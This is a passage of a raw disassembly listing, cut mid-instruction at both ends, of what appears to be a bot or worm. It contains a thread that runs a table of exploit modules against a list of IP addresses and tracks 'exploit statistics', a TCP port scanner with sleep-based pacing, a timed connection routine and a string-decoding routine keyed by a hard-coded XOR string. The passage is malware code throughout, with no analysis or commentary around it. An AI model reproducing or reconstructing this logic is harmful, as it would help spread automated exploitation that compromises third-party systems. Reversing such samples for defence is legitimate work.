jz short loc_413B90 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_30], eax jmp short loc_413B97 ; --------------------------------------------------------------------------- loc_413B90: ; CODE XREF: sub_413AB0+D0j mov [ebp+var_30], 7D0h loc_413B97: ; CODE XREF: sub_413AB0+DEj mov eax, [ebp+var_30] mov [ebp+var_C], eax cmp [ebp+var_C], 32h jb short loc_413BAC cmp [ebp+var_C], 0EA60h jbe short loc_413BB3 loc_413BAC: ; CODE XREF: sub_413AB0+F1j mov [ebp+var_C], 7D0h loc_413BB3: ; CODE XREF: sub_413AB0+FAj cmp [ebp+arg_14], 0 jz short loc_413BC7 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_34], eax jmp short loc_413BCE ; --------------------------------------------------------------------------- loc_413BC7: ; CODE XREF: sub_413AB0+107j mov [ebp+var_34], 100h loc_413BCE: ; CODE XREF: sub_413AB0+115j mov eax, [ebp+var_34] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_413BE3 cmp [ebp+var_10], 200h jbe short loc_413BEA loc_413BE3: ; CODE XREF: sub_413AB0+128j mov [ebp+var_10], 100h loc_413BEA: ; CODE XREF: sub_413AB0+131j push 2C9h call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413C03 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413C03: ; CODE XREF: sub_413AB0+14Cj push 108h push [ebp+arg_4] mov eax, [ebp+var_8] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 0Eh push [ebp+arg_8] mov eax, [ebp+var_8] add eax, 10Ch push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+11Ah], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+11Eh], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov [eax+122h], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 126h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_10] push [ebp+var_C] mov eax, [ebp+var_8] push dword ptr [eax+11Ah] mov eax, [ebp+var_8] add eax, 10Ch push eax mov eax, [ebp+var_8] add eax, 4 push eax push offset unk_41CEA4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_41349C call sub_4095A4 add esp, 24h locret_413CB1: ; CODE XREF: sub_413AB0:loc_413AC2j ; sub_413AB0+34j ... leave retn sub_413AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CB3 proc near ; DATA XREF: sub_413FE7+5Co var_49C = dword ptr -49Ch var_498 = byte ptr -498h var_494 = byte ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_469 = byte ptr -469h var_3BE = dword ptr -3BEh var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = byte ptr -32Ch var_1AC = byte ptr -1ACh var_25 = byte ptr -25h var_24 = byte ptr -24h var_21 = byte ptr -21h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch push 327h push [ebp+arg_0] lea eax, [ebp+var_330] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_330] push dword ptr [eax] push offset unk_41CF50 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 0Ch and [ebp+var_334], 0 and [ebp+var_484], 0 lea eax, [ebp+var_4] push eax push offset dword_418F4C lea eax, [ebp+var_32C] push eax call sub_40813C add esp, 0Ch mov [ebp+var_8], eax loc_413D21: ; CODE XREF: sub_413CB3:loc_413FA8j mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax and [ebp+var_488], 0 jmp short loc_413D44 ; --------------------------------------------------------------------------- loc_413D37: ; CODE XREF: sub_413CB3+23Bj ; sub_413CB3:loc_413F77j mov eax, [ebp+var_488] inc eax mov [ebp+var_488], eax loc_413D44: ; CODE XREF: sub_413CB3+82j mov eax, [ebp+var_488] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz loc_413F7C push 3Ah mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_47C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CCD0 mov [ebp+var_480], eax lea eax, [ebp+var_47C] push eax call sub_4105FB pop ecx lea eax, [ebp+var_469] push eax call sub_4105FB pop ecx cmp [ebp+var_480], 0 jz loc_413E9A mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413E9A call sub_4042FB mov [ebp+var_490], eax cmp [ebp+var_490], 0 jz short loc_413DE9 mov [ebp+var_3BE], 2 jmp short loc_413DF3 ; --------------------------------------------------------------------------- loc_413DE9: ; CODE XREF: sub_413CB3+128j mov [ebp+var_3BE], 3 loc_413DF3: ; CODE XREF: sub_413CB3+134j movsx eax, [ebp+var_15] test eax, eax jz short loc_413E15 mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_413E15 mov [ebp+var_3BE], 1 loc_413E15: ; CODE XREF: sub_413CB3+146j ; sub_413CB3+156j movsx eax, [ebp+var_25] test eax, eax jz short loc_413E27 mov [ebp+var_3BE], 2 loc_413E27: ; CODE XREF: sub_413CB3+168j movsx eax, [ebp+var_24] test eax, eax jz short loc_413E39 mov [ebp+var_3BE], 3 loc_413E39: ; CODE XREF: sub_413CB3+17Aj cmp [ebp+var_3BE], 3 jnz short loc_413E55 cmp [ebp+var_490], 0 jz short loc_413E55 mov [ebp+var_3BE], 2 loc_413E55: ; CODE XREF: sub_413CB3+18Dj ; sub_413CB3+196j cmp [ebp+var_3BE], 3 jnz short loc_413E9A mov al, [ebp+var_14] mov [ebp+var_498], al mov al, [ebp+var_21] mov [ebp+var_494], al mov [ebp+var_14], 1 and [ebp+var_21], 0 push 0 lea eax, [ebp+var_1AC] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_498] mov [ebp+var_14], al mov al, [ebp+var_494] mov [ebp+var_21], al loc_413E9A: ; CODE XREF: sub_413CB3+FCj ; sub_413CB3+110j ... movsx eax, [ebp+var_13] neg eax sbb eax, eax and eax, 1388h add eax, 1388h push eax push 0 lea eax, [ebp+var_469] push eax push [ebp+var_8] call sub_4050EA add esp, 10h mov [ebp+var_48C], eax cmp [ebp+var_48C], 0 jz loc_413F77 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_49C], eax cmp [ebp+var_49C], 0 jnz short loc_413EF3 jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413EF3: ; CODE XREF: sub_413CB3+239j push 14Ch lea eax, [ebp+var_480] push eax push [ebp+var_49C] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_484] inc eax mov [ebp+var_484], eax mov eax, [ebp+var_49C] mov ecx, [ebp+var_48C] mov [eax+3Eh], ecx push [ebp+var_49C] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_413F59 push [ebp+var_48C] call sub_4053B1 pop ecx push [ebp+var_49C] call sub_416B4C ; free pop ecx jmp short loc_413F77 ; --------------------------------------------------------------------------- loc_413F59: ; CODE XREF: sub_413CB3+28Aj lea eax, [ebp+var_47C] push eax push [ebp+var_8] push offset dword_41CF20 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 10h loc_413F77: ; CODE XREF: sub_413CB3+21Bj ; sub_413CB3+2A4j jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413F7C: ; CODE XREF: sub_413CB3+A1j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413F9A jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413F9A: ; CODE XREF: sub_413CB3+2E3j mov eax, [ebp+var_330] cmp dword ptr [eax+4], 0 jz short loc_413FA8 jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413FA8: ; CODE XREF: sub_413CB3+2F1j jmp loc_413D21 ; --------------------------------------------------------------------------- loc_413FAD: ; CODE XREF: sub_413CB3+2E5j ; sub_413CB3+2F3j push [ebp+var_334] push [ebp+var_484] mov eax, [ebp+var_330] push dword ptr [eax] push offset dword_41CEDC lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 14h push [ebp+var_330] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_413CB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FE7 proc near ; CODE XREF: sub_40A9CF+B5Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_413FF3 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_413FF3: ; CODE XREF: sub_413FE7+8j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414009 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_414009: ; CODE XREF: sub_413FE7+1Ej push 180h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_416B52 ; memcpy add esp, 0Ch push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push [ebp+var_4] push offset sub_413CB3 call sub_4095A4 add esp, 10h locret_414050: ; CODE XREF: sub_413FE7+Aj ; sub_413FE7+20j leave retn sub_413FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414052 proc near ; DATA XREF: sub_41417D+35o var_3C0 = dword ptr -3C0h var_3BC = byte ptr -3BCh var_225 = byte ptr -225h var_224 = byte ptr -224h var_218 = byte ptr -218h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3C0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_3C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset aExploitStatist ; "Exploit statistics - " lea eax, [ebp+var_200] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_204], 0 jmp short loc_4140A4 ; --------------------------------------------------------------------------- loc_414097: ; CODE XREF: sub_414052:loc_41414Aj mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax loc_4140A4: ; CODE XREF: sub_414052+43j mov eax, [ebp+var_204] imul eax, 3Ah movsx eax, byte_41CCD0[eax] test eax, eax jz loc_41414F push 12h mov eax, [ebp+var_204] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_218] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_218] push eax call sub_4105FB pop ecx lea eax, [ebp+var_218] push eax lea eax, [ebp+var_200] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_204] imul eax, 3Ah push dword_41CCFA[eax] push offset dword_41CFA4 lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx lea eax, [ebp+eax+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch movsx eax, [ebp+var_225] test eax, eax jz short loc_41414A mov eax, [ebp+var_204] imul eax, 3Ah and dword_41CCFA[eax], 0 loc_41414A: ; CODE XREF: sub_414052+E6j jmp loc_414097 ; --------------------------------------------------------------------------- loc_41414F: ; CODE XREF: sub_414052+64j and [ebp+var_224], 0 lea eax, [ebp+var_200] push eax lea eax, [ebp+var_3BC] push eax call sub_40D53F pop ecx pop ecx push [ebp+var_3C0] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_414052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41417D proc near ; CODE XREF: sub_40A9CF+BF4p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414197 jmp short locret_4141BF ; --------------------------------------------------------------------------- loc_414197: ; CODE XREF: sub_41417D+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push [ebp+var_4] push offset sub_414052 call sub_4095A4 add esp, 10h locret_4141BF: ; CODE XREF: sub_41417D+18j leave retn sub_41417D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141C1 proc near ; DATA XREF: sub_4142BF+E2o var_2BC = dword ptr -2BCh var_2B8 = byte ptr -2B8h var_1B8 = byte ptr -1B8h var_1B2 = dword ptr -1B2h var_1AE = byte ptr -1AEh var_16 = byte ptr -16h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2BCh push 2B1h push [ebp+arg_0] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push [ebp+var_1B2] push 0 lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41424F push [ebp+var_8] call sub_4053B1 pop ecx call sub_416B64 ; clock sub eax, [ebp+var_4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D050 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41424F: ; CODE XREF: sub_4141C1+56j movsx eax, [ebp+var_16] test eax, eax jnz short loc_4142AD call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, [ebp+var_1B2] jb short loc_41428B lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D018 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41428B: ; CODE XREF: sub_4141C1+A4j lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41CFE8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h loc_4142AD: ; CODE XREF: sub_4141C1+8Cj ; sub_4141C1+94j ... push [ebp+var_2BC] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_4141C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142BF proc near ; CODE XREF: sub_40A9CF+1B5Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_4142D0 jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142D0: ; CODE XREF: sub_4142BF+Aj cmp [ebp+arg_8], 0 jnz short loc_4142DD mov [ebp+arg_8], offset a80 ; "80" loc_4142DD: ; CODE XREF: sub_4142BF+15j push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4142F8 cmp [ebp+var_8], 0FFFFh jbe short loc_4142FD loc_4142F8: ; CODE XREF: sub_4142BF+2Ej jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142FD: ; CODE XREF: sub_4142BF+37j cmp [ebp+arg_C], 0 jz short loc_414311 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_414318 ; --------------------------------------------------------------------------- loc_414311: ; CODE XREF: sub_4142BF+42j mov [ebp+var_10], 0EA60h loc_414318: ; CODE XREF: sub_4142BF+50j mov eax, [ebp+var_10] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41432D cmp [ebp+var_4], 36EE80h jbe short loc_41432F loc_41432D: ; CODE XREF: sub_4142BF+63j jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_41432F: ; CODE XREF: sub_4142BF+6Cj push 2B1h call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_414345 jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_414345: ; CODE XREF: sub_4142BF+82j push 100h push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_C] add eax, 104h push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax+10Ah], ecx push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 10Eh push eax call sub_405F67 pop ecx pop ecx push [ebp+arg_8] push [ebp+arg_4] push offset dword_41D080 push 0 push [ebp+var_C] push offset sub_4141C1 call sub_4095A4 add esp, 18h locret_4143AE: ; CODE XREF: sub_4142BF+Cj ; sub_4142BF:loc_4142F8j ... leave retn sub_4142BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143B0 proc near ; DATA XREF: sub_414600+1D6o var_2E8 = qword ptr -2E8h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = byte ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = byte ptr -2CCh var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = byte ptr -2BCh var_1BC = word ptr -1BCh var_1BA = word ptr -1BAh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_18 = byte ptr -18h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2DCh push 2B3h push [ebp+arg_0] lea eax, [ebp+var_2C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov ax, [ebp+var_1BC] mov [ebp+var_C], ax push [ebp+var_1B4] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41440C push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax jmp locret_4145FC ; --------------------------------------------------------------------------- loc_41440C: ; CODE XREF: sub_4143B0+47j push [ebp+var_1B4] movzx eax, [ebp+var_1BA] push eax movzx eax, [ebp+var_1BC] push eax lea eax, [ebp+var_2BC] push eax mov eax, [ebp+var_2C0] push dword ptr [eax] push offset dword_41D0F0 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_18] test eax, eax jnz short loc_414458 push 3E8h call dword_41709C ; Sleep loc_414458: ; CODE XREF: sub_4143B0+9Bj call sub_416B64 ; clock mov [ebp+var_2C4], eax and [ebp+var_4], 0 loc_414467: ; CODE XREF: sub_4143B0+13Aj ; sub_4143B0+1F0j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jnz short loc_414482 movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jle short loc_414487 loc_414482: ; CODE XREF: sub_4143B0+C1j jmp loc_4145A5 ; --------------------------------------------------------------------------- loc_414487: ; CODE XREF: sub_4143B0+D0j push 0Ah lea eax, [ebp+var_2CC] push eax movzx eax, [ebp+var_C] push eax call sub_416F7A ; _itoa add esp, 0Ch push [ebp+var_8] push 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_2D0], eax mov ax, [ebp+var_C] add ax, 1 mov [ebp+var_C], ax cmp [ebp+var_2D0], 0 jz short loc_4144EF movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jg short loc_4144EF jmp loc_414467 ; --------------------------------------------------------------------------- loc_4144EF: ; CODE XREF: sub_4143B0+129j ; sub_4143B0+138j push [ebp+var_1B8] call dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_414597 loc_41450C: ; CODE XREF: sub_4143B0+1E2j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jz short loc_41451A jmp short loc_414597 ; --------------------------------------------------------------------------- loc_41451A: ; CODE XREF: sub_4143B0+166j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_2D8], eax cmp [ebp+var_2D8], 0 jnz short loc_414534 jmp short loc_414597 ; --------------------------------------------------------------------------- loc_414534: ; CODE XREF: sub_4143B0+180j lea eax, [ebp+var_2CC] push eax push [ebp+var_2D8] call sub_4045B2 pop ecx pop ecx mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov al, [ebp+var_18] mov [ebp+var_2D4], al and [ebp+var_18], 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax push offset dword_41D0DC lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_2D4] mov [ebp+var_18], al push 3E8h call dword_41709C ; Sleep jmp loc_41450C ; --------------------------------------------------------------------------- loc_414597: ; CODE XREF: sub_4143B0+156j ; sub_4143B0+168j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_414467 ; --------------------------------------------------------------------------- loc_4145A5: ; CODE XREF: sub_4143B0:loc_414482j push [ebp+var_4] call sub_416B64 ; clock sub eax, [ebp+var_2C4] mov [ebp+var_2DC], eax fild [ebp+var_2DC] fdiv flt_417270 push ecx push ecx fstp [esp+2E8h+var_2E8] lea eax, [ebp+var_2BC] push eax push offset unk_41D0A0 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 18h push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax locret_4145FC: ; CODE XREF: sub_4143B0+57j leave retn 4 sub_4143B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414600 proc near ; CODE XREF: sub_40A9CF+C9Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 28h cmp [ebp+arg_4], 0 jz short loc_414612 cmp [ebp+arg_8], 0 jnz short loc_414617 loc_414612: ; CODE XREF: sub_414600+Aj jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414617: ; CODE XREF: sub_414600+10j cmp [ebp+arg_C], 0 jnz short loc_414623 mov eax, [ebp+arg_8] mov [ebp+arg_C], eax loc_414623: ; CODE XREF: sub_414600+1Bj push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41463E cmp [ebp+var_8], 0FFFFh jbe short loc_414643 loc_41463E: ; CODE XREF: sub_414600+33j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414643: ; CODE XREF: sub_414600+3Cj push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_41465E cmp [ebp+var_14], 0FFFFh jbe short loc_414663 loc_41465E: ; CODE XREF: sub_414600+53j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414663: ; CODE XREF: sub_414600+5Cj push 2B3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41467C jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_41467C: ; CODE XREF: sub_414600+75j mov eax, [ebp+var_8] cmp eax, [ebp+var_14] jbe short loc_414696 mov eax, [ebp+var_14] mov [ebp+var_18], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax loc_414696: ; CODE XREF: sub_414600+82j cmp [ebp+arg_10], 0 jz short loc_4146AA push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_1C], eax jmp short loc_4146B1 ; --------------------------------------------------------------------------- loc_4146AA: ; CODE XREF: sub_414600+9Aj mov [ebp+var_1C], 7D0h loc_4146B1: ; CODE XREF: sub_414600+A8j mov eax, [ebp+var_1C] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4146C6 cmp [ebp+var_C], 0EA60h jbe short loc_4146CD loc_4146C6: ; CODE XREF: sub_414600+BBj mov [ebp+var_C], 7D0h loc_4146CD: ; CODE XREF: sub_414600+C4j cmp [ebp+arg_14], 0 jz short loc_4146E1 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_20], eax jmp short loc_4146E8 ; --------------------------------------------------------------------------- loc_4146E1: ; CODE XREF: sub_414600+D1j mov [ebp+var_20], 100h loc_4146E8: ; CODE XREF: sub_414600+DFj mov eax, [ebp+var_20] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4146FD cmp [ebp+var_10], 200h jbe short loc_414704 loc_4146FD: ; CODE XREF: sub_414600+F2j mov [ebp+var_10], 100h loc_414704: ; CODE XREF: sub_414600+FBj push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_8] mov [eax+104h], cx mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_14] mov [eax+106h], cx cmp [ebp+var_C], 0EA60h jbe short loc_414749 mov [ebp+var_24], 0EA60h jmp short loc_41474F ; --------------------------------------------------------------------------- loc_414749: ; CODE XREF: sub_414600+13Ej mov eax, [ebp+var_C] mov [ebp+var_24], eax loc_41474F: ; CODE XREF: sub_414600+147j mov eax, [ebp+var_4] mov ecx, [ebp+var_24] mov [eax+108h], ecx cmp [ebp+var_10], 200h jbe short loc_41476D mov [ebp+var_28], 200h jmp short loc_414773 ; --------------------------------------------------------------------------- loc_41476D: ; CODE XREF: sub_414600+162j mov eax, [ebp+var_10] mov [ebp+var_28], eax loc_414773: ; CODE XREF: sub_414600+16Bj mov eax, [ebp+var_4] mov ecx, [ebp+var_28] mov [eax+10Ch], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 110h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+10Ch] mov eax, [ebp+var_4] movzx eax, word ptr [eax+106h] push eax mov eax, [ebp+var_4] movzx eax, word ptr [eax+104h] push eax mov eax, [ebp+var_4] add eax, 4 push eax push offset dword_41D138 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_4143B0 call sub_4095A4 add esp, 20h locret_4147E3: ; CODE XREF: sub_414600:loc_414612j ; sub_414600:loc_41463Ej ... leave retn sub_414600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147E5 proc near ; CODE XREF: sub_414A1E+373p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414816 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414816: ; CODE XREF: sub_4147E5+28j mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax loc_41481E: ; CODE XREF: sub_4147E5:loc_4148BEj lea eax, [ebp+var_C] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414842 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414842: ; CODE XREF: sub_4147E5+54j mov eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+var_C] xor ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_10] cmp eax, [ebp+var_C] jl short loc_414866 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax loc_414866: ; CODE XREF: sub_4147E5+78j mov eax, [ebp+var_C] sub eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414899 xor eax, eax jmp short locret_4148CC ; --------------------------------------------------------------------------- loc_414899: ; CODE XREF: sub_4147E5+AEj mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148B2 mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" loc_4148B2: ; 